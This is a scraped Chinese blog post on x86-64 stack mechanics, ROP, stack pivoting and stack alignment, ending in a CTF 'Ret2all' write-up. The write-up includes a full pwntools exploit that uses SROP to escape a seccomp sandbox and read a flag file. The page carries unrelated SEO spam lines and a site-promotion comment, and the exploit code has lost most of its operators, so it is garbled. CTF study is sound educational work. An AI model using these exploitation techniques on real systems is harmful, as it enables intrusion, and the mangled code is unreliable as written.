vue单页面做网站加载慢手机网站建站公司有哪些
vue单页面做网站加载慢,手机网站建站公司有哪些,page怎么转换wordpress,版本设计网站函数调用栈
基础知识
寄存器#xff1a; rip与eip#xff1a;指令寄存器#xff0c;cpu会把该寄存器地址内的数据当成指令执行#xff08;rip是64位系统的#xff0c;eip是32位的#xff09;
rsp与esp#xff1a;栈顶指针寄存器#xff0c;表明了栈顶的位置
rbp与ebp声明一个变量c效果如图其实栈溢出的原理就是通过往c写值覆盖栈上的这个返回地址我们接下来看我们没改返回地址的时候函数返回是怎么返回的首先有一个leave指令这个指令就是mov rsp rbp然后pop rbp把rsp位置的值弹出栈赋给rbp这时rbp已经回到main函数那里了此时并不会直接把上面c变量的数值销毁而是在将来声明变量时可以再往这声明leave之后接下来是retret就是pop rip把wow返回地址赋给指令寄存器接下来就再跳转过去执行指令。这里就可以看出栈溢出的原理了因为我们往栈上写值是由低地址往高地址写(图中由上往下)所以只要我们有能写出c这个变量大小的条件就可以把rbp及返回地址覆盖接下来就会返回我们写成的返回地址接下来就会去我们想让他返回的地方执行指令。rop链原理其实rop链就是开了栈不可执行(NX保护)时因为不能直接写汇编指令所以通过一些代码片段(gadget)去控制各寄存器并通过ret链接起来的指令比如有一个地址中的地址是pop rdi;ret那我们返回地址写成这个指令的地址后他就会执行这个指令pop rdi然后就是ret因为rsp没变所以他还是在栈上取值所以接下来就由可以填我们想让他返回到的地址了。栈迁移原理栈迁移简单来说就是控制rsp主要通过控制rbp然后进行两次leave去控制第一次leave控制rbp第二次leave通过控制的rbp进而控制寄存器,下面以迁移到bss段为例第一次leave;ret:先mov rsp rbp接下来是ret继续执行返回地址内的指令,至此第一次leave;ret结束。因为返回地址还是leave;ret所以有第二次leave;ret先mov rsp rbp接下来是pop rbp然后就是ret在bss里取值继续执行了。从图中也可以看到rsp与rbp都被我们控制了函数的栈已经变化了所以叫栈迁移。具体的攻击可以看看我之前的文章。ret2csu与栈迁移的运用栈返回看到这不知道各位有没有想过既然我们自己定义的函数(这里的例子就是wow)有返回地址那c语言库里的readprintfwrite....等函数有没有返回地址呢好像没听过首先他们也是有返回地址的因为调用他们也需要call这个指令这个指令就会把下条指令的地址入栈只是因为调用他们的时候栈已经类似这个样子了所以哪怕这时候rsp的地方写了一条返回地址我们在栈上的局部变量c里写值也是覆盖不到这个地址的所以一般用不到这个手法。当然既然是一般就有例外比如格式化字符串可以改printf函数的返回地址read如果能控制写入的地址也可以改到(也得溢出一次才有可能)栈对齐的原因及解决办法栈对齐就是为什么有时候我们返回system的时候要加个ret实际上就是栈没对齐通过加ret对齐。栈对齐就是rsp指针要16字节对齐因为系统调用的时候要求要对齐也就是rsp最后一个16进制位要是0。关于这个原因就是个人观点了我个人理解的应该比较浅我认为就是系统本身肯定会让rsp对齐以免我们自己调用system函数的时候崩溃但我们往返回地址后面可能写很多指令的地址所以就导致了不对齐。解决办法: 因为64位下栈的内存单元是以8为单位的也就是我们rsp的地址的最后一个16进制只有8和0两种可能并且正常是rsp的末位8这样在接下来的system函数里因为他会push rbp,这样rsp就16字节对齐了所以我们不对齐就说明rsp的末位是0这样system函数push rbp之后rsp就是8字节对齐(末位是8了)这里我们要么选择加一条指令的地址(加ret)要么就把返回地址往后写跳过push rbp这个指令。不过也有例外如果我们栈迁移迁到了末尾不是0也不是8的地址加再多ret也没用这时候就要修改迁移的位置了。Ret2all好了你已经学会函数调用栈了快来写一道栈溢出吧。这题保护除了canary都开了第一个init给了我们rbp与ret这两个在bss段上ret可以泄露pie基地址所以pie保护就跟没开一样了后面用mprotect把bss段设成只读了并且把标准错误给关了后面开了沙盒。把execvereadwrite分支都禁了并且下面write的文件描述符只能是2read的文件描述符只能是0。后面有个栈溢出溢出0x28字节这个是影子首先检测前0x60是不是I love you I feel lonely字符串后面检测rbp与ret是不是之前发给我们的相当于只能溢出0x18了并且还只能溢出到返回地址8的位置。不过这里因为他调用了三次函数所以会leave三次就有栈迁移的机会并且在read到0x88的地方正好是rbp最后一次指向的地方也就是两次leave就到了我们可以控制的地方我们把写成我们返回地址8的地址就可以实现一次read了但这里要注意read之后不会直接返回而是会进影子所以这里我们read写入的地方有讲究要能覆盖过我们call read的返回地址实现栈返回即往rsp的上方写。这里只要覆盖掉rsp就可以逃出影子了因为目前泄露不出libc所以只能用栈上现有的libc地址我们可以找一下附近的因为我们最多覆盖一字节因为远程libc基址大部分是000结尾的我们覆盖一字节是可以确保每次都能利用如果覆盖两字节就需要爆破凭运气了。这里有一个syscall但这个syscall不是特别好因为如果我们用这个syscall调用函数后面有一个jmp他不是ret就比较难预测了。所以我们第一次syscall调用srop来控制rbx之后配合magicgadget改成应该好用的gadget。改好之后就可以调用dup2(1,2)把标准输出的内容复制到标准错误接下来就可以write泄露libc有libc之后就先close(0)让open打开的文件描述符是0这样read就可以往栈内写flag了最后再write打印出来flag就结束了。而这就需要我们在syscall下面先布置好srop的SigreturnFrame结构这里因为长度有限不能用pwntools的函数。只能手搓了。并且要注意一下往下写需要rsp在下面因为我们read还有影子跟着所以rsp在下面才能实现栈返回所以第一次往下写是逃不了影子的简单来说就是先往下然后leave上来再leave下去就好了(这里上下是相对syscall来说的这是这题最关键的部分。大概效果是这样因为一开始的rbp是定死的所以我们要注意在第一次的rbp上放好下面的地址就可以了只要能调出一次srop就好办很多了srop结构如下这里就是从左往右读第一个是syscall第二个是uc_flags第三个是uc之后依次读下去大概离syscall0x70的位置是rdi之后调用完一次srop要往syscall下面一个位置写一个leave并且这个leave末尾要小于4因为这样syscall ret之后就是leave我们只要控制rbp就可以继续控制程序流。之后多布局一下就差不多写完了这题多调试就好。这里因为我的本地环境跟远程不一样所以应该是打不了远程的不过可以参考一下应该布局上是大差不差了估计是有些细节不一样。exp如下/* by 01130.hk - online tools website : 01130.hk/zh/jpgcompression.html */ from pwn import * import sys context.log_leveldebug context.archamd64 flag 0 elfELF(./pwn) libc ELF(./libc.so.6) if flag: p remote(challenge.imxbt.cn,30705) else: p process(./pwn) sa lambda s,n : p.sendafter(s,n) sla lambda s,n : p.sendlineafter(s,n) sl lambda s : p.sendline(s) sd lambda s : p.send(s) rc lambda n : p.recv(n) ru lambda s : p.recvuntil(s) ti lambda : p.interactive() def csu(): payp64(0)p64(0)p64(1) return pay def dbg(): gdb.attach(p) pause() ru(bRBP:) rbpint(p.recvline(),16) print(hex(rbp)) ru(bRET:) retint(p.recvline(),16) pieret-0x1871 repie0x3FB8 prbppie0x1253 mainpie0x1874 magicpie0x1252 targetpie0x4050 leavepie0x1852 ret1pie0x18AC readpie0x182F read1pie0x1840 print(hex(pie)) paybI love you I feel lonely*4flat(rbp,ret)flat(rbp0x18,read)p64(rbp-0x10) dbg() sd(pay) pause() payflat({ 0x30:p64(rbp0xc00x30),#rbo:0x48 0x38:p64(read), 0x40:p64(leave), 0x48:p64(rbp0xe0-0x100x30), 0x50:p64(leave), 0x58:p64(rbp0xd00x30), 0x60:p64(rbp-0x18), 0x68:p64(leave), },fillerp64(ret1))#flat(prbp,rbp0x728,read) sd(payb\xec) pause() paybI love you I feel lonely*4flat(rbp,ret)flat(rbp0x900x60,read)p64(leave) sd(pay) payflat({ 0x0:p64(0),#fake 0x8:p64(0),#rdi 0x10:p64(rbp0x30),#rsi 0x18:p64(rbp0x280x3d),#rbp 0x20:p64(0x6ede9),#rbx 0x28:p64(0x200),#rdx 0x30:p64(0),#rax 0x38:p64(0),#rcx 0x40:p64(rbp0x40),#rsp 0x48:p64(read1), 0x50:p64(0),#eflag 0x58:p64(0x33),#cs 0x60:p64(rbp0x9010x600x60), 0x68:p64(read), 0x70:p64(rbp0x20), 0x78:p64(leave), 0x80:0, }) pause() sd(pay) paybb*7p64(prbp) pause() sd(pay) payp64(leave)flat(ret1)*2p64(magic)flat(prbp,rbp0x590x60,read,rbp0x20,leave,rbp0x700x60,read,read) paypay.ljust(0x60,b\x00)flat({ 0x0:p64(0),#fake 0x8:p64(1),#rdi 0x10:p64(2),#rsi 0x18:p64(rbp0x100),#rbp 0x20:p64(0x6ede9),#rbx 0x28:p64(0x200),#rdx 0x30:p64(33),#rax 0x38:p64(0),#rcx 0x40:p64(rbp0x28),#rsp 0x48:p64(ret1), 0x50:p64(0),#eflag 0x58:p64(0x33),#cs 0x60:p64(0), 0x68:p64(0), 0x70:p64(rbp0x600x90), 0x78:p64(read), 0x80:0, }) sd(pay) paybb*7p64(prbp) sd(pay) payflat({ 0x0:p64(0),#fake 0x8:p64(2),#rdi 0x10:p64(re),#rsi 0x18:p64(rbp0x100-0x88),#rbp 0x20:p64(0),#rbx 0x28:p64(0x20),#rdx 0x30:p64(1),#rax 0x38:p64(0),#rcx 0x40:p64(rbp0x28),#rsp 0x48:p64(ret1),#rip 0x50:p64(0),#eflag 0x58:p64(0x33),#cs 0x60:p64(rbp0x9010x600x60), 0x68:p64(read), 0x70:p64(rbp0x20), 0x78:p64(leave), 0x80:0, }) sd(pay) paybb*7p64(prbp) sd(pay) ru(bKeep it and...I love you\n) libcbaseu64(rc(6).ljust(8,b\x00))-libc.sym[read] relibcbaselibc.sym[read] raxlibcbase0xdd237 rdilibcbase0x10f75b rsilibcbase0x110a4d endlibcbase0x98fd5 rbxlibcbase0x586e4 mdx3libcbase0xb0133 print(hex(libcbase)) payb./flag\x00\x00*2flat(rdi,0,rsi,rbp0xd8,rbx,0x1000,mdx3,0,0,0,re) pause() sd(pay) sropSigreturnFrame() srop.rax3 srop.rdi0 srop.rsi0 srop.rsprbp0x1e8 srop.ripend srop1SigreturnFrame() srop1.rax2 srop1.rdirbp0x70 srop1.rsi0 srop1.rsprbp0x1e80x110 srop1.ripend srop2SigreturnFrame() srop2.rax0 srop2.rdi0 srop2.rsirbp srop2.rdx0x50 srop2.rsprbp0x1e80x1100x110 srop2.ripend srop3SigreturnFrame() srop3.rax1 srop3.rdi2 srop3.rsirbp srop3.rdx0x50 srop3.ripend payflat(rax,0xf,end)bytes(srop)flat(rax,0xf,end)bytes(srop1)flat(rax,0xf,end)bytes(srop2)flat(rax,0xf,end)bytes(srop3) sd(pay) ti()这里我用了11次send跟标答不一样的就是他是泄露libc顺便控制了rdx之后直接用srop链了我是没顺便控制rdx再凑了一下gadget所以多了一次send。效果如下ret2all参考文章ret2all